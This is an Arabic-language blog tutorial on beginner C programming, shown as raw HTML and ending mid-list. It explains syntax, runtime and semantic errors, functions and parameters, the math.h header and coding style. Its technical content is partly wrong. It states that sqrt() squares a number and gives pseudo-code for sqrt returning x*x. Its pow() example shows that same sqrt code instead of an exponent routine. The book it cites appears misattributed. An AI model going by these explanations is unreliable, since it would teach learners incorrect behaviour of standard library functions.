<b><u><span lang="AR-EG" style="color: #ff9900; font-size: 14pt;">ثالثا : انواع الاخطاء : <o:p></o:p></span></u></b></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG">قرأت في كتاب لدكتور اسمه "</span><span dir="LTR"></span><span dir="LTR" lang="AR-EG"><span dir="LTR"></span> </span><b><span dir="LTR">Eric Grimson</span></b><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span>" من معهد </span><span dir="LTR">MIT </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> والكتاب كان اسمه "</span><b><span dir="LTR">Thinks like Computer scientists </span></b><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span>"
كان بيتكلم عن انواع الاخطاء اللي ممكن تحدث للمبرمج وان اي مبرمج لازم يكون عارف
ايه الاخطاء اللي ممكن تواجهه فاتكلم عن 3 انواع من الاخطاء وهي :<o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<span dir="LTR"></span><u><span dir="LTR" style="color: #3366ff;"><span dir="LTR"></span>1-Syntax
Error:</span></u><span dir="LTR" style="color: #3366ff;"> </span><span lang="AR-EG">النوع دا من الاخطاء بسبب مشكلة في
تركيبة الجمله واحيانا بنلاقي الخطأ دا في الالات الحاسبه . طيب يعني ايه خطأ في
تركيبة الجمله ؟ يعني دلوقتي لغة الـسي معموله بتركيبة جمله معينه يقوم الكومبايلر
بقرائتها وترجمتها <span style="color: #3366ff;">مثل : </span></span><span dir="LTR" style="color: #3366ff;"><o:p></o:p></span><br />
<span lang="AR-EG"></span><br />
<div align="right" style="text-align: -webkit-auto;">
<table border="1" cellpadding="0" cellspacing="0" class="MsoTableGrid" style="border-collapse: collapse; border: none; margin-left: 3.0pt; mso-border-alt: solid windowtext .5pt; mso-border-insideh: .5pt solid windowtext; mso-border-insidev: .5pt solid windowtext; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-yfti-tbllook: 480;">
<tbody>
<tr>
<td style="border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 6.15in;" valign="top" width="590">
<div class="MsoNormal" style="text-align: left;">
</div>
<table border="1" cellpadding="0" cellspacing="0" class="MsoTableGrid" style="border-collapse: collapse; border: none; margin-left: 3.0pt; mso-border-alt: solid windowtext .5pt; mso-border-insideh: .5pt solid windowtext; mso-border-insidev: .5pt solid windowtext; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-yfti-tbllook: 480;">
<tbody>
<tr>
<td style="border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 6.15in;" valign="top" width="590">
<div class="MsoNormal" style="text-align: left;">
<br /><span style="color: #3366ff;">;printf("welcome)</span></div>
</td></tr>
</tbody></table>
</td></tr>
</tbody></table>
<span lang="AR-EG">
</span></div>
</div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<div style="text-align: left;">
<span lang="AR-EG">دي جملة معناها في الـ </span><span dir="LTR">C </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> امر الطباعه
. طيب ازاي ممكن يحصل الخطأ دا </span><span dir="LTR"></span><span dir="LTR"><span dir="LTR"></span>. </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> دالة </span><span dir="LTR">printf()</span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> لازم يكون اللي جواها محطوط جوه علامتين تنصيص
("") لو كان جمله . طيب لو شيلنا علمتين التنصيص دول هنلاقيه بيقولك </span><span dir="LTR">syntax error </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> . طيب برده في نهاية كل جملة في السي في علامة
الـ </span><span dir="LTR">semicolon</span><span dir="RTL"></span><span dir="RTL"></span> <span dir="LTR"></span><span dir="LTR"><span dir="LTR"></span>;
</span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> دي لازم كل جمله في السي
تنتهي بيها لو مكتبنهاش برده كده تركيبة الجمله خطأ وهيجيب نفس الخطأ . <o:p></o:p></span></div>
</div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<span dir="LTR"></span><span dir="LTR" style="color: #3366ff;"><span dir="LTR"></span>2 – <u>Run
time error </u>: </span><span dir="RTL"></span><span style="color: #3366ff;"><span dir="RTL"></span> </span><span lang="AR-EG"> ودا خطأ اخر بيحصل لكن اثناء تشغيل
البرنامج نتيجة عدم تقدير من المبرمج لامكانيات الجهاز او البرنامج . يعني
البرنامج بيتعمله كومبايل وبيشتغل تمام لكن اثناء ماهو شغال بيحصل الخطأ نتيجه
مثلا خطا في الميموري او حفظ البيانات او غيره .<span style="color: #3366ff;"> <o:p></o:p></span></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG" style="color: #3366ff;">3</span><span dir="LTR"></span><span dir="LTR" style="color: #3366ff;"><span dir="LTR"></span>- <u>Semantic
Error</u> : </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> ودا خطأ غير
تقني يعني البرنامج بيبقي شغال تمام والجهاز مش بيعرض اي مشكله ولكن الناتج مش
بيطلع زي ما المبرمج عايزه . يعني مثلا انا لو حبيت اعمل برنامج ياخد 3 ارقام من
المستخدم ويجمعهم مع بعض وكتبت الاكواد صح ومفيش اي مشكله ولكني كتبت اشاره مثلا
غلط في العمليات الحسابيه اثناء البرمجه وبالتالي البرنامج بدل ماهيجمع الـ 3
ارقام مثلا هيجمع واحد ويطرح اتنين او غير ذلك المهم انه مش هيطلع نفس الناتج اللي
مبرمج عايزه .<span style="color: #3366ff;"> <o:p></o:p></span></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<b><u><span lang="AR-EG" style="color: #ff9900; font-size: 14pt;">ثالثا : ماهي الدوال </span></u></b><span dir="LTR"></span><b><u><span dir="LTR" style="color: #ff9900; font-size: 14pt;"><span dir="LTR"></span> </span></u></b><span dir="RTL"></span><b><u><span style="color: #ff9900; font-size: 14pt;"><span dir="RTL"></span> </span></u></b><span dir="LTR"></span><b><u><span dir="LTR" style="color: #ff9900; font-size: 14pt;"><span dir="LTR"></span>: Functions<o:p></o:p></span></u></b></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG">اي لغة برمجه ماهي الا دوال مبرمجه يتم استخدامها لانتاج البرنامج . مثلا
لو محتاجين نعمل تربيع لرقم بنستخدم دالة </span><span dir="LTR">sqrt()</span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> . يعني مثلا لو كتبنا </span><span dir="LTR">sqrt(5) </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> يبقي هيجيب تربيع رقم 5 . مثلا لو عايزين نعمل
رقم أس رقم تاني يعني مثلا 2 أس 3 بنستخدم دالة </span><span dir="LTR"></span><span dir="LTR" lang="AR-EG"><span dir="LTR"></span> </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> </span><span dir="LTR"></span><span dir="LTR"><span dir="LTR"></span> pow(2,3)</span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> . طبعا زي
ماقولت ان معظم الناس مش بتهتم بالاكواد قد ماتهتم بانها تخلص البرنامج وخلاص .
احنا دلوقتي عايزين نفهم الدوال دي اخترعت ازاي ؟ . احنا ممكن نعمل دالة اسميها
مثلا </span><span dir="LTR">ahmed </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> واخليها تعمل نفس اللي بتعلمه دالة </span><span dir="LTR">sqrt() </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> او </span><span dir="LTR">pow()</span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> . طبعا فائدة الدوال دي انها بتوفر عليك كتير .
بتكتب الدالة جاهزه وبتطلعلك الناتج . وهي دي ميزة لغة الـ </span><span dir="LTR">C </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> ان ممكن مجموعة من المبرمجين ينزلوا مجموعه من
الدوال الجاهزه اللي برمجوها عشان ناس تانيه تستخدمها جاهز . طيب عايزين نفهم بقي
دالة مثلا زي دالة </span><span dir="LTR">sqrt()</span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span>
اشتغلت ازاي ؟ او اللي برمجها فكر يعملها ازاي ؟؟ .<o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG">اي دالة عموما بيبقي داخلها حاجه اسمها بارامتر . </span><span dir="LTR">parameter </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> دا بيبقي زي الـ </span><span dir="LTR">input </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> اللي داخل للداله واللي بتقوم بعدها الداله
باجراء العمليات الخاصه بيه وتطلع الناتج . يعني في مثال دالة </span><span dir="LTR">sqrt() </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> اللي مهمتها في لغة السي تربيع الرقم . بتحتاج </span><span dir="LTR">parameter </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> واحد فقط اللي هو الرقم اللي هتاخده تربعه بس .
وبالتالي اللي برمج الداله دي عملها كالتالي . </span><span dir="LTR"><o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<br /></div>
<div align="right">
<table border="1" cellpadding="0" cellspacing="0" class="MsoTableGrid" dir="rtl" style="border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-border-insideh: .5pt solid windowtext; mso-border-insidev: .5pt solid windowtext; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-table-dir: bidi; mso-yfti-tbllook: 480;">
<tbody>
<tr>
<td style="border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 6.15in;" valign="top" width="590"><div class="MsoNormal" dir="LTR">
Function sqrt(x){<o:p></o:p></div>
<div class="MsoNormal" dir="LTR">
Result x * x ;<o:p></o:p></div>
<div class="MsoNormal" dir="LTR">
}<o:p></o:p></div>
</td>
</tr>
</tbody></table>
</div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG">طبعا الدالة برمجتها كانت سهله جدا . ولكن خففت علينا كتير فبدل مانقعد
نكتب الـ 3 سطور دول هي كلمة واحده وبتستدعي الداله وبتجيب الناتج . في السطر
الاول الداله متعرفه باسم </span><span dir="LTR">sqrt()
</span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> والبارامتر اللي داخلها هو
</span><span dir="LTR">x </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> اللي هوا هيدخله المبرمج عشان يجيب الناتج وبعد
كده الداله بتاخد الرقم دا وبتضربه في نفسه مره تانيه عشان تجيب التربيع وبتبعته
مره اخري للمبرمج كناتج . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<b><span lang="AR-EG" style="color: #00ccff;">مثال اخر للتوضيح في دالة </span></b><b><span dir="LTR" style="color: #00ccff;">pow()</span></b><span dir="RTL"></span><b><span lang="AR-EG" style="color: #00ccff;"><span dir="RTL"></span>
: <o:p></o:p></span></b></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG">الدالة دي بتاخد 2 بارامتر بحيث انها بتخلي الرقم الاول أس التاني . يعني
لو انا قلتله </span><span dir="LTR">pow(2,3) </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> الداله بتاخد الرقم 2 وتضربه في نفسه 3 مرات
عشان تطلع الناتج . <o:p></o:p></span><br />
<span lang="AR-EG"></span><br />
<div align="right">
<span lang="AR-EG">
<table border="1" cellpadding="0" cellspacing="0" class="MsoTableGrid" dir="rtl" style="border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-border-insideh: .5pt solid windowtext; mso-border-insidev: .5pt solid windowtext; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-table-dir: bidi; mso-yfti-tbllook: 480;">
<tbody>
<tr>
<td style="border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 6.15in;" valign="top" width="590">
<div class="MsoNormal" dir="LTR">
Function sqrt(x){<o:p></o:p></div>
<div class="MsoNormal" dir="LTR">
Result x * x ;<o:p></o:p></div>
<div class="MsoNormal" dir="LTR">
}<o:p></o:p></div>
</td>
</tr>
</tbody></table>
</span></div>
</div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<span dir="LTR"> </span><span lang="AR-EG">طبعا احنا مش بنشوف كل الكلام دا احنا مجرد بنستخدم الداله وبتطلعلنا
الناتج وخلاص ولكن حبيت اوضح ازاي الدوال دي بتتعمل . وطبعا كل الدوال دي بتبقي
جاهزه في الهيدر . فمثلا كل الدوال الحسابيه موجود في الهيدر </span><span dir="LTR">math.h </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> ولازم عشان نستخدم الدوال دي نكتب في اول
البرنامج </span><span dir="LTR"></span><span dir="LTR"><span dir="LTR"></span>- </span><span dir="RTL"></span><span dir="RTL"></span> <span dir="LTR"></span><span dir="LTR" style="color: #339966;"><span dir="LTR"></span>#include
<math.h></span><span dir="LTR"><o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG">لكن مش هتطرق لكل دا دلوقتي . دا مجرد للتوضيح . ودا مرجع كامل للغة الـ </span><span dir="LTR">C ++ </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> علي الهيدرز والدوال اللي بتحتويها . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<br /></div>
<div align="right">
<table border="1" cellpadding="0" cellspacing="0" class="MsoTableGrid" dir="rtl" style="border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-border-insideh: .5pt solid windowtext; mso-border-insidev: .5pt solid windowtext; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-table-dir: bidi; mso-yfti-tbllook: 480;">
<tbody>
<tr>
<td style="border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 6.15in;" valign="top" width="590"><div class="MsoNormal" dir="LTR">
<a href="http://www.cplusplus.com/reference/clibrary/cmath/">http://www.cplusplus.com/reference/clibrary/cmath/</a><span dir="RTL" lang="AR-EG"><o:p></o:p></span></div>
</td>
</tr>
</tbody></table>
</div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG">لو فتحنا الموقع هنلاقي الدوال
الرياضيه كلها اللي ممكن نستخدمها وموجوده في الهيدر دا زي </span><span dir="LTR">cos , sin , tan ,exp ,sqrt , pow </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> دا غير كمان انه بيشرح كل داله وكيفية عملها
وامثله عليها . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-btqtCIybDt4/T99u538rVmI/AAAAAAAAASA/CkrDcKPqx3Q/s1600/functions.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="304" src="http://4.bp.blogspot.com/-btqtCIybDt4/T99u538rVmI/AAAAAAAAASA/CkrDcKPqx3Q/s640/functions.PNG" width="640" /></a></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG">للتوضيح اكتر نختار علي سبيل المثال دالة </span><span dir="LTR">cos </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> اول واحده ونضغط عليها ونشوف شرحها . <o:p></o:p></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-hWceZnZnt-w/T99vDgHhPMI/AAAAAAAAAS4/0qFib3g310Y/s1600/%25D8%25A4%25D8%25AE%25D8%25B3.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="302" src="http://4.bp.blogspot.com/-hWceZnZnt-w/T99vDgHhPMI/AAAAAAAAAS4/0qFib3g310Y/s640/%25D8%25A4%25D8%25AE%25D8%25B3.PNG" width="640" /></a></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG">هنلاقيه جايبلنا كل حاجه عن الداله وكيفية استخدامها ومثال عليها . في مثال
الكود المكتوب في الصوره </span><span dir="LTR"></span><span dir="LTR"><span dir="LTR"></span>. <o:p></o:p></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-B9crjgcvInE/T99u2aiqFmI/AAAAAAAAAR0/iBp7HmhEkfU/s1600/example.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="308" src="http://2.bp.blogspot.com/-B9crjgcvInE/T99u2aiqFmI/AAAAAAAAAR0/iBp7HmhEkfU/s640/example.PNG" width="640" /></a></div>
<div align="center" class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3pt; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG">هشرحها سطر سطر لمجرد التوضيح .<o:p></o:p></span></div>
<div align="center" class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3pt; unicode-bidi: embed;">
<br /></div>
<div align="right">
<table border="1" cellpadding="0" cellspacing="0" class="MsoTableGrid" dir="rtl" style="border-collapse: collapse; border: none; margin-left: 3.0pt; mso-border-alt: solid windowtext .5pt; mso-border-insideh: .5pt solid windowtext; mso-border-insidev: .5pt solid windowtext; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-table-dir: bidi; mso-yfti-tbllook: 480;">
<tbody>
<tr>
<td style="border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 6.15in;" valign="top" width="590"><div class="MsoNormal" dir="LTR">
1 - <span style="color: #339966;">/*<span dir="RTL"></span><span dir="RTL" lang="AR-EG"><span dir="RTL"></span> دا مجرد تعليق مش بيدخل في اكواد البرنامج </span><span dir="LTR"></span><span dir="LTR"></span>*/</span><o:p></o:p></div>
<div class="MsoNormal" dir="LTR">
2<span dir="RTL"></span><span dir="RTL" lang="AR-EG"><span dir="RTL"></span>- </span><span dir="LTR"></span><span lang="AR-EG" style="color: #993366;"><span dir="LTR"></span> <span dir="RTL">دا عباره عن دمج مكتبات نظام
التشغيل للبرنامج لاستدعاء الدوال وهو خاص بعملية الـدخل والخرج</span></span><span style="color: #993366;"><o:p></o:p></span></div>
<div class="MsoNormal" dir="LTR">
3<span dir="RTL"></span><span dir="RTL" lang="AR-EG"><span dir="RTL"></span> - </span><span dir="LTR"></span><span lang="AR-EG"><span dir="LTR"></span> <span dir="RTL" style="color: #993366;">عباره عن
دمج مكتبات نظام التشغيل ولكنه بيستدعي هذه المره مكتبة الرياضيات والتي بها
الدوال الحسابيه</span><span dir="RTL"><o:p></o:p></span></span></div>
<div class="MsoNormal" dir="LTR">
<span dir="LTR"></span><span dir="LTR"></span>4<span dir="RTL"></span><span dir="RTL"><span dir="RTL"></span> </span><span dir="LTR"></span><span dir="LTR"></span> <o:p></o:p></div>
<div class="MsoNormal" dir="LTR">
5 – <span dir="RTL" lang="AR-EG" style="color: #993366;">بيقوم بتعريف الثابت</span><span dir="RTL" lang="AR-EG"> </span><span class="texhtml"><b><span style="background-color: white;">π</span></b></span><span class="apple-converted-space"><span style="background-color: white; font-family: Arial; font-size: 8pt;"> </span></span><span dir="RTL"></span><span class="apple-converted-space"><span dir="RTL" style="background-color: white; font-family: Arial; font-size: 8pt;"><span dir="RTL"></span>
</span></span><span dir="RTL" lang="AR-EG"><o:p></o:p></span></div>
<div class="MsoNormal" dir="LTR">
<span dir="LTR"></span><span dir="LTR"></span>6<o:p></o:p></div>
<div class="MsoNormal" dir="LTR">
7<span dir="RTL"></span><span dir="RTL"><span dir="RTL"></span> </span><span dir="LTR"></span><span dir="LTR"></span> - <span dir="RTL" lang="AR-EG" style="color: blue;">هنا
بيبتدي تعريف الداله الاساسيه لانه من غيرها مش هيشتغل البرنامج . لازم يكون فيه
داله اساسيه يبتدي منها البرنامج </span><span dir="RTL" lang="AR-EG">. <o:p></o:p></span></div>
<div class="MsoNormal" dir="LTR">
<span dir="LTR"></span><span dir="LTR"></span>8<o:p></o:p></div>
<div class="MsoNormal" dir="LTR">
9<span dir="RTL"></span><span dir="RTL"><span dir="RTL"></span> </span><span dir="LTR"></span><span dir="LTR"></span>– <span dir="RTL" lang="AR-EG">زي ماشرحت قبل كده تعريف الداتا فهو
هنا عرف 2 داتا علي انهم ارقام اللي هما <o:p></o:p></span></div>
<div class="MsoNormal" dir="LTR">
<span style="color: blue;">Param</span> <span dir="RTL" lang="AR-EG">و </span><span dir="LTR"></span><span dir="LTR"></span> <span style="color: blue;">result</span> <span dir="RTL"></span><span dir="RTL"><span dir="RTL"></span> </span><span dir="LTR"></span><span dir="LTR"></span>. <span dir="RTL" lang="AR-EG"><o:p></o:p></span></div>
<div class="MsoNormal" dir="LTR">
<br /></div>
<div class="MsoNormal" dir="LTR">
<br /></div>
<div class="MsoNormal" dir="LTR" style="margin-left: .5in; mso-list: l0 level1 lfo2; tab-stops: list .5in; text-indent: -.25in;">
<span dir="LTR"></span>10<span style="font-size: 7pt;"> </span><span dir="LTR"><span dir="LTR"></span><span dir="LTR"></span>- <span dir="RTL"></span><span dir="RTL" lang="AR-EG" style="color: #993300;"><span dir="RTL"></span> هنا عرف علي انها الزاويه</span><span dir="RTL" lang="AR-EG"> </span>param = 60.0 ; <o:p></o:p></span></div>
<div class="MsoNormal" dir="LTR" style="margin-left: .5in; mso-list: l0 level1 lfo2; tab-stops: list .5in; text-indent: -.25in;">
<span style="color: #3366ff;">11<span style="font-size: 7pt;"> </span></span><span dir="LTR"><span dir="RTL" lang="AR-EG" style="color: #3366ff;">هنا
بيحفظ الناتج بحيث انه بيجيب </span></span><span style="color: #3366ff;">cos<span dir="RTL"></span><span dir="RTL"><span dir="RTL"></span>
</span><o:p></o:p></span></div>
<div class="MsoNormal" dir="LTR" style="margin-left: .5in; mso-list: l0 level1 lfo2; tab-stops: list .5in; text-indent: -.25in;">
<span style="color: red;">12<span style="font-size: 7pt;"> </span></span><span dir="LTR"><span dir="RTL" lang="AR-EG" style="color: red;">امر
طباعة الناتج وعرض النتيجه</span></span><span style="color: red;"><o:p></o:p></span></div>
<div class="MsoNormal" dir="LTR" style="margin-left: .5in; mso-list: l0 level1 lfo2; tab-stops: list .5in; text-indent: -.25in;">
<span style="color: blue;">13<span style="font-size: 7pt;"> </span></span><span dir="LTR"><span dir="RTL" lang="AR-EG" style="color: blue;">خروج
من البرنامج <o:p></o:p></span></span></div>
<div class="MsoNormal" dir="LTR">
<br /></div>
</td>
</tr>
</tbody></table>
</div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG">طبعا مش محتاجين اننا نفهم الاكواد كلها او نطبقها . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<b><u><span lang="AR-EG" style="color: #ff9900; font-size: 14pt;">رابعا : </span></u></b><b><u><span dir="LTR" style="color: #ff9900; font-size: 14pt;">Programmer
Style <o:p></o:p></span></u></b></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG">الحقيقه لم اجد ترجمه عربيه للجمله دي فسبتها زي ماهي "ستايل المبرمج
" . يعني ايه استايل المبرمج ؟؟! .<o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG">كل مبرمج وله استايله في كتابة البرنامج . ولكن فيه حاجه اسمها </span><span dir="LTR">Best practice </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> يعني ايه ؟؟ . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG">يعني اننا نكتب اكواد البرنامج بطريقه مثاليه بحيث يقدر غيرنا يفهمها . طيب
ازاي ممكن نخلي اكوادنا مثاليه ويقدر يفهمها غيرنا ؟؟ . </span><span dir="LTR"></span><span dir="LTR" lang="AR-EG"><span dir="LTR"></span> </span><span lang="AR-EG">المثال اللي في الصوره بيوضح معني الستايل اللي قصدته . <o:p></o:p></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-kDIKfRmowSg/T99uvlB14GI/AAAAAAAAARQ/5Vc0rotLqVs/s1600/Best_practice.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="330" src="http://4.bp.blogspot.com/-kDIKfRmowSg/T99uvlB14GI/AAAAAAAAARQ/5Vc0rotLqVs/s640/Best_practice.png" width="640" /></a></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG">طبعا انا كل اللي عملته اني اخدت الكود بالاعلي ونسخته وطبعته ولكن طبقت
عليه نظرية الـ </span><span dir="LTR">Best
practice </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> . طيب . ماهي
خطوات الـ </span><span dir="LTR"></span><span dir="LTR"><span dir="LTR"></span>. BP<o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 21.0pt; mso-list: l1 level1 lfo1; tab-stops: list 21.0pt; text-align: right; text-indent: -.25in; unicode-bidi: embed;">
-<span style="font-size: 7pt;">
